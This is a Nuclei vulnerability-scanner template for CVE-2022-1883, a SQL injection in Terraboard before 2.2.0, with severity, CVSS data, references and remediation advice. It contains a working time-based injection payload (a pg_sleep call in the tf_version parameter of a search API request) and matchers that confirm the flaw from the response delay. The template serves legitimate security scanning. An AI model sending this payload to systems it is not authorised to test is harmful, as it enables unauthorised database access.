nuclei-templates/http/cves/2022/CVE-2022-1883.yaml

56 lines
2.0 KiB
YAML

id: CVE-2022-1883
info:
name: Terraboard <2.2.0 - SQL Injection
author: edoardottt
severity: high
description: |
Terraboard prior to 2.2.0 contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
remediation: |
Upgrade Terraboard to version 2.2.0 or later to mitigate the SQL Injection vulnerability.
reference:
- https://huntr.dev/bounties/a25d15bd-cd23-487e-85cd-587960f1b9e7/
- https://github.com/camptocamp/terraboard/commit/2a5dbaac015dc0714b41a59995e24f5767f89ddc
- https://huntr.dev/bounties/a25d15bd-cd23-487e-85cd-587960f1b9e7
- https://nvd.nist.gov/vuln/detail/CVE-2022-1883
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2022-1883
cwe-id: CWE-89
epss-score: 0.1005
epss-percentile: 0.94774
cpe: cpe:2.3:a:camptocamp:terraboard:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: camptocamp
product: terraboard
tags: cve,cve2022,terraboard,sqli,huntr,camptocamp
http:
- raw:
- |
@timeout: 15s
GET /api/search/attribute?versionid=*&tf_version=%27+and+(select%20pg_sleep(7))+ISNULL-- HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'duration>=7'
- type: word
part: body
words:
- '"page":'
- '"results":'
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022100e6eb7799d108599a28730d311d114c55336cb5dcd6a4f6db98c854c892ff9fd3022078ea291f9e12c5047a99021d2a47d944e5c5631fcb115870edd89b19521a70f2:922c64590222798bb761d5b6d8e72950